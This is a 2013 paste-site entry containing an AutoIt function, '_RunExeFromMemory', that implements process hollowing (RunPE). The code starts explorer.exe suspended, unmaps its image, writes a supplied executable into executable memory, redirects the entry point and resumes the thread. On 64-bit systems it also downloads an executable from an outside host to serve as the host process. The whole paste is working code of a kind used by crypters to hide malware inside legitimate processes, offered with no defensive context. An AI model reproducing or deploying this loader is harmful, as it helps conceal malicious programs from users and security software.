Run Exe From Memory (32/64 bit) Autolt UDF


SUBMITTED BY: Guest

DATE: May 30, 2013, 7:53 a.m.

FORMAT: Text only

SIZE: 21.6 kB

HITS: 978

  1. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  2. #AutoIt3Wrapper_UseX64=n
  3. #AutoIt3Wrapper_Res_Language=1033
  4. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  5. global $baseexe
  6. $baseexe = @WindowsDir&"\explorer.exe"
  7. if @OSArch = "X64" Then ;if not 32bit downlood reshacker and set it to be used
  8. if not FileExists(@ScriptDir&"\launcher.exe") Then
  9. InetGet("<a href='http://panics.co.cc/downloads/reshacker.exe' class='bbc_url' title='External link' rel='nofollow external'>http://panics.co.cc/downloads/reshacker.exe"</a>, @ScriptDir&"\launcher.exe")
  10. EndIf
  11. $baseexe = @ScriptDir&"\launcher.exe"
  12. Else
  13. $baseexe = @WindowsDir&"\explorer.exe";else use explorer.
  14. EndIf
  15. ; YOUR CODE HERE
  16. Func _RunExeFromMemory($bBinaryImage, $iCompressed = 0, $test = 0)
  17. #Region 1. PREPROCESSING PASSED
  18. Local $tInput = DllStructCreate("byte[" & BinaryLen($bBinaryImage) & "]")
  19. DllStructSetData($tInput, 1, $bBinaryImage)
  20. Local $pPointer
  21. If $iCompressed Then
  22. ; Buffer for decompressed data
  23. Local $tBuffer = DllStructCreate("byte[" & 32 * DllStructGetSize($tInput) & "]") ; oversizing it
  24. ; Decompression follows:
  25. Local $aCall = DllCall("ntdll.dll", "int", "RtlDecompressBuffer", _
  26. "ushort", 2, _
  27. "ptr", DllStructGetPtr($tBuffer), _
  28. "dword", DllStructGetSize($tBuffer), _
  29. "ptr", DllStructGetPtr($tInput), _
  30. "dword", DllStructGetSize($tInput), _
  31. "dword*", 0)
  32. If @error Or $aCall[0] Then ; If any troubles try original data anyway
  33. $pPointer = DllStructGetPtr($tInput)
  34. Else
  35. $pPointer = DllStructGetPtr($tBuffer)
  36. EndIf
  37. Else
  38. ; Not compressed
  39. $pPointer = DllStructGetPtr($tInput)
  40. EndIf
  41. #Region 2. CREATING NEW PROCESS
  42. ; STARTUPINFO structure (actually all that really matters is allocaed space)
  43. Local $tSTARTUPINFO = DllStructCreate("dword cbSize;" & _
  44. "ptr Reserved;" & _
  45. "ptr Desktop;" & _
  46. "ptr Title;" & _
  47. "dword X;" & _
  48. "dword Y;" & _
  49. "dword XSize;" & _
  50. "dword YSize;" & _
  51. "dword XCountChars;" & _
  52. "dword YCountChars;" & _
  53. "dword FillAttribute;" & _
  54. "dword Flags;" & _
  55. "ushort ShowWindow;" & _
  56. "ushort Reserved2;" & _
  57. "ptr Reserved2;" & _
  58. "ptr hStdInput;" & _
  59. "ptr hStdOutput;" & _
  60. "ptr hStdError")
  61. ; This is much important. This structure will hold some very important data.
  62. Local $tPROCESS_INFORMATION = DllStructCreate("ptr Process;" & _
  63. "ptr Thread;" & _
  64. "dword ProcessId;" & _
  65. "dword ThreadId")
  66. ; Create new process
  67. $aCall = DllCall("kernel32.dll", "int", "CreateProcessW", _
  68. "wstr", $baseexe, _ ; try something else too (now only range plays, giving us a space)
  69. "ptr", 0, _
  70. "ptr", 0, _
  71. "ptr", 0, _
  72. "int", 0, _
  73. "dword", 4, _ ; CREATE_SUSPENDED ; <- this is essential
  74. "ptr", 0, _
  75. "ptr", 0, _
  76. "ptr", DllStructGetPtr($tSTARTUPINFO), _
  77. "ptr", DllStructGetPtr($tPROCESS_INFORMATION))
  78. If @error Or Not $aCall[0] Then
  79. Return SetError(2, 0, 0) ; CreateProcess function or call to it failed
  80. EndIf
  81. ; New process and thread handles:
  82. Local $hProcess = DllStructGetData($tPROCESS_INFORMATION, "Process")
  83. Local $hThread = DllStructGetData($tPROCESS_INFORMATION, "Thread")
  84. #Region 3. FILL CONTEXT STRUCTURE
  85. ; CONTEXT structure is what's really important here. It's very 'misterious'
  86. Local $tCONTEXT = DllStructCreate("dword ContextFlags;" & _
  87. "dword Dr0;" & _
  88. "dword Dr1;" & _
  89. "dword Dr2;" & _
  90. "dword Dr3;" & _
  91. "dword Dr6;" & _
  92. "dword Dr7;" & _
  93. "dword ControlWord;" & _
  94. "dword StatusWord;" & _
  95. "dword TagWord;" & _
  96. "dword ErrorOffset;" & _
  97. "dword ErrorSelector;" & _
  98. "dword DataOffset;" & _
  99. "dword DataSelector;" & _
  100. "byte RegisterArea[80];" & _
  101. "dword Cr0NpxState;" & _
  102. "dword SegGs;" & _
  103. "dword SegFs;" & _
  104. "dword SegEs;" & _
  105. "dword SegDs;" & _
  106. "dword Edi;" & _
  107. "dword Esi;" & _
  108. "dword Ebx;" & _ ; this is pointer to another structure whose third element will be altered
  109. "dword Edx;" & _
  110. "dword Ecx;" & _
  111. "dword Eax;" & _ ; another manipulation point (will set address of entry point here)
  112. "dword Ebp;" & _
  113. "dword Eip;" & _
  114. "dword SegCs;" & _
  115. "dword EFlags;" & _
  116. "dword Esp;" & _
  117. "dword SegS")
  118. DllStructSetData($tCONTEXT, "ContextFlags", 0x10002) ; CONTEXT_INTEGER
  119. ; Fill tCONTEXT structure:
  120. $aCall = DllCall("kernel32.dll", "int", "GetThreadContext", _
  121. "ptr", $hThread, _
  122. "ptr", DllStructGetPtr($tCONTEXT))
  123. If @error Or Not $aCall[0] Then
  124. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  125. Return SetError(3, 0, 0) ; GetThreadContext function or call to it failed
  126. EndIf
  127. #Region 4. READ PE-FORMAT
  128. ; Start processing passed binary data. 'Reading' PE format follows.
  129. Local $tIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & _
  130. "ushort BytesOnLastPage;" & _
  131. "ushort Pages;" & _
  132. "ushort Relocations;" & _
  133. "ushort SizeofHeader;" & _
  134. "ushort MinimumExtra;" & _
  135. "ushort MaximumExtra;" & _
  136. "ushort SS;" & _
  137. "ushort SP;" & _
  138. "ushort Checksum;" & _
  139. "ushort IP;" & _
  140. "ushort CS;" & _
  141. "ushort Relocation;" & _
  142. "ushort Overlay;" & _
  143. "char Reserved[8];" & _
  144. "ushort OEMIdentifier;" & _
  145. "ushort OEMInformation;" & _
  146. "char Reserved2[20];" & _
  147. "dword AddressOfNewExeHeader", _
  148. $pPointer)
  149. ; Move pointer
  150. $pPointer += DllStructGetData($tIMAGE_DOS_HEADER, "AddressOfNewExeHeader") ; move to PE file header
  151. Local $sMagic = DllStructGetData($tIMAGE_DOS_HEADER, "Magic")
  152. ; Check if it's valid format
  153. If Not ($sMagic == "MZ") Then
  154. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  155. Return SetError(4, 0, 0) ; MS-DOS header missing. Btw 'MZ' are the initials of Mark Zbikowski in case you didn't know.
  156. EndIf
  157. Local $tIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $pPointer)
  158. ; Move pointer
  159. $pPointer += 4 ; size of $tIMAGE_NT_SIGNATURE structure
  160. ; Check signature
  161. If DllStructGetData($tIMAGE_NT_SIGNATURE, "Signature") <> 17744 Then ; IMAGE_NT_SIGNATURE
  162. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  163. Return SetError(5, 0, 0) ; wrong signature. For PE image should be "PE\0\0" or 17744 dword.
  164. EndIf
  165. Local $tIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;" & _
  166. "ushort NumberOfSections;" & _
  167. "dword TimeDateStamp;" & _
  168. "dword PointerToSymbolTable;" & _
  169. "dword NumberOfSymbols;" & _
  170. "ushort SizeOfOptionalHeader;" & _
  171. "ushort Characteristics", _
  172. $pPointer)
  173. ; Get number of sections
  174. Local $iNumberOfSections = DllStructGetData($tIMAGE_FILE_HEADER, "NumberOfSections")
  175. ; Move pointer
  176. $pPointer += 20 ; size of $tIMAGE_FILE_HEADER structure
  177. Local $tIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;" & _
  178. "ubyte MajorLinkerVersion;" & _
  179. "ubyte MinorLinkerVersion;" & _
  180. "dword SizeOfCode;" & _
  181. "dword SizeOfInitializedData;" & _
  182. "dword SizeOfUninitializedData;" & _
  183. "dword AddressOfEntryPoint;" & _
  184. "dword BaseOfCode;" & _
  185. "dword BaseOfData;" & _
  186. "dword ImageBase;" & _
  187. "dword SectionAlignment;" & _
  188. "dword FileAlignment;" & _
  189. "ushort MajorOperatingSystemVersion;" & _
  190. "ushort MinorOperatingSystemVersion;" & _
  191. "ushort MajorImageVersion;" & _
  192. "ushort MinorImageVersion;" & _
  193. "ushort MajorSubsystemVersion;" & _
  194. "ushort MinorSubsystemVersion;" & _
  195. "dword Win32VersionValue;" & _
  196. "dword SizeOfImage;" & _
  197. "dword SizeOfHeaders;" & _
  198. "dword CheckSum;" & _
  199. "ushort Subsystem;" & _
  200. "ushort DllCharacteristics;" & _
  201. "dword SizeOfStackReserve;" & _
  202. "dword SizeOfStackCommit;" & _
  203. "dword SizeOfHeapReserve;" & _
  204. "dword SizeOfHeapCommit;" & _
  205. "dword LoaderFlags;" & _
  206. "dword NumberOfRvaAndSizes", _
  207. $pPointer)
  208. ; Move pointer
  209. $pPointer += 96 ; size of $tIMAGE_OPTIONAL_HEADER
  210. Local $iMagic = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "Magic")
  211. ; Check if it's 32-bit application
  212. If $iMagic <> 267 Then
  213. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  214. Return SetError(6, 0, 0) ; not 32-bit application. Structures (and sizes) are for 32-bit apps.
  215. EndIf
  216. If $test = 1 and $iMagic <> 267 Then
  217. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  218. Return 0
  219. EndIf
  220. ; Extract entry point address
  221. Local $iEntryPointNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint") ; if loaded binary image would start executing at this address
  222. ; Move pointer
  223. $pPointer += 128 ; size of the structures before IMAGE_SECTION_HEADER (16 of them - find PE specification if you are interested).
  224. Local $pOptionalHeaderImageBaseNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "ImageBase") ; address of the first byte of the image when it's loaded in memory
  225. Local $iOptionalHeaderSizeOfImageNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "SizeOfImage") ; the size of the image including all headers
  226. #Region 5. GET AND THEN CHANGE BASE ADDRESS
  227. ; Read base address
  228. Local $tPEB = DllStructCreate("byte InheritedAddressSpace;" & _
  229. "byte ReadImageFileExecOptions;" & _
  230. "byte BeingDebugged;" & _
  231. "byte Spare;" & _
  232. "ptr Mutant;" & _
  233. "ptr ImageBaseAddress;" & _
  234. "ptr LoaderData;" & _
  235. "ptr ProcessParameters;" & _
  236. "ptr SubSystemData;" & _
  237. "ptr ProcessHeap;" & _
  238. "ptr FastPebLock;" & _
  239. "ptr FastPebLockRoutine;" & _
  240. "ptr FastPebUnlockRoutine;" & _
  241. "dword EnvironmentUpdateCount;" & _
  242. "ptr KernelCallbackTable;" & _
  243. "ptr EventLogSection;" & _
  244. "ptr EventLog;" & _
  245. "ptr FreeList;" & _
  246. "dword TlsExpansionCounter;" & _
  247. "ptr TlsBitmap;" & _
  248. "dword TlsBitmapBits[2];" & _
  249. "ptr ReadOnlySharedMemoryBase;" & _
  250. "ptr ReadOnlySharedMemoryHeap;" & _
  251. "ptr ReadOnlyStaticServerData;" & _
  252. "ptr AnsiCodePageData;" & _
  253. "ptr OemCodePageData;" & _
  254. "ptr UnicodeCaseTableData;" & _
  255. "dword NumberOfProcessors;" & _
  256. "dword NtGlobalFlag;" & _
  257. "ubyte Spare2[4];" & _
  258. "int64 CriticalSectionTimeout;" & _
  259. "dword HeapSegmentReserve;" & _
  260. "dword HeapSegmentCommit;" & _
  261. "dword HeapDeCommitTotalFreeThreshold;" & _
  262. "dword HeapDeCommitFreeBlockThreshold;" & _
  263. "dword NumberOfHeaps;" & _
  264. "dword MaximumNumberOfHeaps;" & _
  265. "ptr ProcessHeaps;" & _
  266. "ptr GdiSharedHandleTable;" & _
  267. "ptr ProcessStarterHelper;" & _
  268. "ptr GdiDCAttributeList;" & _
  269. "ptr LoaderLock;" & _
  270. "dword OSMajorVersion;" & _
  271. "dword OSMinorVersion;" & _
  272. "dword OSBuildNumber;" & _
  273. "dword OSPlatformId;" & _
  274. "dword ImageSubSystem;" & _
  275. "dword ImageSubSystemMajorVersion;" & _
  276. "dword ImageSubSystemMinorVersion;" & _
  277. "dword GdiHandleBuffer[34];" & _
  278. "dword PostProcessInitRoutine;" & _
  279. "dword TlsExpansionBitmap;" & _
  280. "ubyte TlsExpansionBitmapBits[128];" & _
  281. "dword SessionId")
  282. $aCall = DllCall("kernel32.dll", "int", "ReadProcessMemory", _
  283. "ptr", $hProcess, _
  284. "ptr", DllStructGetData($tCONTEXT, "Ebx"), _
  285. "ptr", DllStructGetPtr($tPEB), _
  286. "dword", DllStructGetSize($tPEB), _
  287. "dword*", 0)
  288. If @error Or Not $aCall[0] Then
  289. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  290. Return SetError(7, 0, 0) ; ReadProcessMemory function or call to it failed while filling PEB structure
  291. EndIf
  292. Local $hBaseAddress = DllStructGetData($tPEB, "ImageBaseAddress")
  293. ; Short version of the above
  294. #cs
  295. $aCall = DllCall("kernel32.dll", "int", "ReadProcessMemory", _
  296. "ptr", $hProcess, _
  297. "ptr", DllStructGetData($tCONTEXT, "Ebx") + 8, _
  298. "ptr*", 0, _
  299. "dword", 4, _
  300. "dword*", 0)
  301. If @error Or Not $aCall[0] Then
  302. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  303. Return SetError(7, 0, 0) ; ReadProcessMemory function or call to it failed while reading base address of the process
  304. EndIf
  305. Local $hBaseAddress = $aCall[3]
  306. #ce
  307. ; Write new base address
  308. $aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", _
  309. "ptr", $hProcess, _
  310. "ptr", DllStructGetData($tCONTEXT, "Ebx") + 8, _
  311. "ptr*", $pOptionalHeaderImageBaseNEW, _
  312. "dword", 4, _
  313. "dword*", 0)
  314. If @error Or Not $aCall[0] Then
  315. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  316. Return SetError(8, 0, 0) ; WriteProcessMemory function or call to it failed while writting new base address
  317. EndIf
  318. #Region 6. CLEAR EVERYTHING THAT THIS NEW PROCESS HAVE MAPPED
  319. ; Clear old data.
  320. $aCall = DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", _
  321. "ptr", $hProcess, _
  322. "ptr", $hBaseAddress)
  323. If @error Or $aCall[0] Then
  324. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  325. Return SetError(9, 0, 0) ; NtUnmapViewOfSection function or call to it failed
  326. EndIf
  327. #Region 7. ALLOCATE 'NEW' MEMORY SPACE
  328. ; Allocate proper size of memory at the proper place.
  329. $aCall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", _
  330. "ptr", $hProcess, _
  331. "ptr", $pOptionalHeaderImageBaseNEW, _
  332. "dword", $iOptionalHeaderSizeOfImageNEW, _
  333. "dword", 12288, _ ; MEM_COMMIT|MEM_RESERVE
  334. "dword", 64) ; PAGE_EXECUTE_READWRITE
  335. If @error Or Not $aCall[0] Then
  336. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  337. Return SetError(10, 0, 0) ; VirtualAllocEx function or call to it failed
  338. EndIf
  339. Local $pRemoteCode = $aCall[0] ; from now on this is zero-point
  340. #Region 8. GET AND WRITE NEW PE-HEADERS
  341. Local $pHEADERS_NEW = DllStructGetPtr($tIMAGE_DOS_HEADER) ; starting address of binary image headers
  342. Local $iOptionalHeaderSizeOfHeadersNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "SizeOfHeaders") ; the size of the MS-DOS stub, the PE header, and the section headers
  343. ; Write NEW headers
  344. $aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", _
  345. "ptr", $hProcess, _
  346. "ptr", $pRemoteCode, _
  347. "ptr", $pHEADERS_NEW, _
  348. "dword", $iOptionalHeaderSizeOfHeadersNEW, _
  349. "dword*", 0)
  350. If @error Or Not $aCall[0] Then
  351. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  352. Return SetError(11, 0, 0) ; WriteProcessMemory function or call to it while writting new PE headers failed
  353. EndIf
  354. #Region 9. WRITE SECTIONS
  355. ; Dealing with sections. Will write them too as they hold all needed data that PE loader reads
  356. Local $tIMAGE_SECTION_HEADER
  357. Local $iSizeOfRawData, $pPointerToRawData
  358. Local $iVirtualAddress
  359. For $i = 1 To $iNumberOfSections
  360. $tIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & _
  361. "dword UnionOfVirtualSizeAndPhysicalAddress;" & _
  362. "dword VirtualAddress;" & _
  363. "dword SizeOfRawData;" & _
  364. "dword PointerToRawData;" & _
  365. "dword PointerToRelocations;" & _
  366. "dword PointerToLinenumbers;" & _
  367. "ushort NumberOfRelocations;" & _
  368. "ushort NumberOfLinenumbers;" & _
  369. "dword Characteristics", _
  370. $pPointer)
  371. $iSizeOfRawData = DllStructGetData($tIMAGE_SECTION_HEADER, "SizeOfRawData")
  372. $pPointerToRawData = DllStructGetPtr($tIMAGE_DOS_HEADER) + DllStructGetData($tIMAGE_SECTION_HEADER, "PointerToRawData")
  373. $iVirtualAddress = DllStructGetData($tIMAGE_SECTION_HEADER, "VirtualAddress")
  374. ; If there is data to write, write it where is should be written
  375. If $iSizeOfRawData Then
  376. $aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", _
  377. "ptr", $hProcess, _
  378. "ptr", $pRemoteCode + $iVirtualAddress, _
  379. "ptr", $pPointerToRawData, _
  380. "dword", $iSizeOfRawData, _
  381. "dword*", 0)
  382. If @error Or Not $aCall[0] Then
  383. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  384. Return SetError(12, $i, 0) ; WriteProcessMemory function or call to it while writting new sections failed
  385. EndIf
  386. EndIf
  387. ; Move pointer
  388. $pPointer += 40 ; size of $tIMAGE_SECTION_HEADER structure
  389. Next
  390. #Region 10. NEW ENTRY POINT
  391. ; Entry point manipulation
  392. DllStructSetData($tCONTEXT, "Eax", $pRemoteCode + $iEntryPointNEW) ; $iEntryPointNEW was relative address
  393. #Region 11. SET NEW CONTEXT
  394. ; New context:
  395. $aCall = DllCall("kernel32.dll", "int", "SetThreadContext", _
  396. "ptr", $hThread, _
  397. "ptr", DllStructGetPtr($tCONTEXT))
  398. If @error Or Not $aCall[0] Then
  399. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  400. Return SetError(13, 0, 0) ; SetThreadContext function or call to it failed
  401. EndIf
  402. #Region 12. RESUME THREAD
  403. ; And that's it!. Continue execution
  404. $aCall = DllCall("kernel32.dll", "int", "ResumeThread", "ptr", $hThread)
  405. If @error Or $aCall[0] = -1 Then
  406. DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $hProcess, "dword", 0)
  407. Return SetError(14, 0, 0) ; ResumeThread function or call to it failed
  408. EndIf
  409. #Region 13. RETURN SUCCESS
  410. ; All went well. Return, for example, new PID:
  411. Return DllStructGetData($tPROCESS_INFORMATION, "ProcessId")
  412. EndFunc

comments powered by Disqus